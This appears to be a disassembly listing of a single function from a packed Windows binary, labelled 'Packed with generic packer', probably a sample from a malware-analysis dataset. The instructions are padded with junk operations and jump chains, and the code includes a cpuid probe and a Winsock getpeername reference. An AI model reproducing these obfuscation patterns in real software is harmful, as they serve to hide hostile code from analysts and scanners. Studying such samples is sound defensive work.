Function at 0xd45be3
Capabilities:
Packed with generic packer

Disassembly:
nop
jmp 0xcbfb6e
nop
jmp 0x108b1b1
call fcn.004469ee
add esp, 4
mov eax, dword [ebp - 0x2c]
nop
jmp 0x1242da2
push ebp
mov ebp, esp
clc
sub esp, 0x2c
jmp 0x10992bc
jmp 0x1342943
nop
jmp 0x105954f
nop
jmp 0x1162f8c
nop
jmp 0x12439a4
nop
jmp 0x1143037
call fcn.004469ee
add esp, 4
sal ebx, 0x52
sar ebx, 0xdc
movsx bx, dh
mov ebx, dword [ebp - 0x1c]
cmc
clc
stc
test ebx, ebx
jmp 0x10d3e8d
nop
jmp 0xfdbd95
nop
jmp 0x14507de
je 0xcd9430
push ebx
jmp 0xcd9428
jne 0xfa4cfc
mov eax, 0x4ea6dc
push eax
not bl
xchg bl, bh
push 1
mov ebx, 0x448040
jmp 0x102c94b
push dword [ebp - 4]
push 1
movsx ebx, bx
movsx bx, ah
mov ebx, 0x447550
call fcn.004469f4
add esp, 0x10
push 0x80000101
push 0
push eax
cmova ebx, eax
push 1
xchg bx, bx
movzx bx, al
mov ebx, 0x448040
jmp 0x1358cfb
mov dword [ebp - 0xc], 0
jmp 0xd8e960
call fcn.004078be
add esp, 0xc
cmovne bx, si
mov dword [ebp - 0x28], eax
rcr ebx, cl
cmp eax, esi
sal bh, cl
mov ebx, dword [ebp - 0x14]
jmp 0x110e45e
nop
nop
nop
nop
jmp 0x113659a
nop
nop
nop
jmp 0xe2d590
call fcn.004469f4
add esp, 0x10
test dx, bp
sub ebx, eax
shr ebx, 0x54
mov dword [ebp - 0x2c], eax
shld ebx, edx, 0xad
mov ebx, dword [ebp - 0x28]
stc
test ebx, ebx
jmp 0xf9f15a
nop
jmp 0x1012347
call fcn.004469f4
add esp, 0x10
mov dword [ebp - 0x24], eax
cmovb cx, bx
setae ch
push dword [ebp - 0x24]
cmovl ecx, ecx
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
cmovno cx, cx
mov ecx, 3
jmp 0xfc3657
nop
jmp 0xe1d429
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
jmp 0xfb9470
nop
jmp 0xf3504e
je 0x13f7f3f
push ebx
jmp 0x13f7f36
call fcn.004469f4
add esp, 0x10
setne bh
movzx ebx, dx
push 0x80000101
push 0
mov bx, 0x210d
not bl
push eax
not bx
push 1
movsx ebx, dx
not bh
mov ebx, 0x448040
jmp 0x108abed
test ebx, ebx
jmp 0x11259b9
je 0xeb5601
push ebx
jmp 0xeb55ef
nop
nop
jmp 0x154427d
nop
jmp 0x12de43f
nop
jmp 0xf2bf17
nop
jmp 0x1320a0f
call fcn.004469ee
lea esp, [esp + 4]
movzx eax, sp
push reloc.WS2_32.dll_getpeername
bt ax, ax
bsr eax, ebx
push 0
xor ax, di
mov eax, dword [ebp - 0x28]
test cx, dx
stc
test eax, eax
jmp 0xfa4cf1
nop
nop
nop
jmp 0x13da75c
nop
nop
nop
jmp 0x11e9664
nop
jmp 0xcb99fa
nop
nop
nop
jmp 0x1409d0e
pop ecx
push 0x80000301
movzx bx, ah
movsx ebx, dx
push 0
jmp 0xfae312
mov esp, ebp
pop ebp
ret
nop
nop
jmp 0x1412fe0
pushal
sbb esi, 0x5cfe214f
adc ah, ah
mov eax, 1
rcr bh, 0x56
mov eax, 2
mov eax, 4
and ah, bh
cmp bh, 0x1b
rcl bx, 0xce
mov eax, 2
movsx eax, bx
mov eax, 5
not dx
mov eax, 4
cmovnp edi, esp
bsr ebx, eax
mov eax, 2
clc
mov eax, 5
cmp di, si
mov eax, 6
popal
push edx
and dx, si
add dx, 0x776d
mov edx, 1
adc ax, cx
mov edx, 2
rcr eax, 0x32
adc ax, sp
mov edx, 4
rol edx, 0x95
bsr eax, ebx
mov edx, 2
mov edx, 5
mov edx, 4
or dl, bh
shl eax, cl
mov edx, 2
mov edx, 5
ror eax, cl
or dx, dx
mov edx, 5
xadd ah, ah
bts dx, bp
dec dh
pop edx
cmp si, 0x3d09
mov ax, ax
cbw
mov dword [ebp - 4], 0
shr ax, 0xc0
mov dword [ebp - 8], 0
add ah, al
btc ax, 0x28
mov dword [ebp - 0xc], 0
sal ah, cl
stc
push ecx
push edx
xadd ah, dl
shr al, 0x11
cdq
push ebx
movsx eax, di
mov eax, ecx
shrd cx, dx, 0xff
mov eax, 1
cpuid
test di, bx
sub ebx, ebx
mov bl, al
jmp 0x13efbb5
call fcn.004469f4
add esp, 0x10
not bx
mov dword [ebp - 0x14], eax
xchg bl, bh
push 0x80000301
mov ebx, ecx
movsx ebx, dx
push 0
xchg bl, bh
push dword [ebp - 8]
mov ebx, 0x4cfe7061
mov ebx, eax
bswap ebx
push 1
not bh
movsx ebx, cx
jmp 0x156df81
call fcn.004469f4
add esp, 0x10
movzx ebx, sp
movsx bx, dh
cmovnp bx, ax
mov dword [ebp - 0x1c], eax
cmovl ebx, ecx
movzx ebx, di
push 0x80000301
push 0
cmovb bx, ax
xchg bh, bh
push dword [ebp - 0xc]
push 1
mov ebx, 0x447550
jmp 0x110c8d1
nop
nop
jmp 0xe7effc
mov dword [ebp - 4], ebx
mov bl, cl
movzx ecx, di
mov dword [ebp - 8], ebx
mov bl, dl
cdq
mov dword [ebp - 0xc], ebx
not ecx
mov dx, 0x5894
pop ebx
pop edx
mov bh, 0xcd
jmp 0x12be79c
call fcn.004469ee
add esp, 4
cmc
mov ebx, dword [ebp - 0x24]
stc
cmc
test ebx, ebx
je 0x121ca1f
push ebx
jmp 0x121ca13
nop
jmp 0x121f6d1
nop
nop
nop
jmp 0xe1b580
nop
nop
nop
jmp 0x1278a5d
nop
jmp 0x10b1926
mov ebx, 0x447550
call fcn.004469f4
add esp, 0x10
cmovge ebx, ebx
push 0x80000101
xchg bx, bx
push 0
cmovl bx, di
movzx ebx, bp
push eax
movsx bx, cl
push 1
mov ebx, 0x448040
jmp 0x13c83c3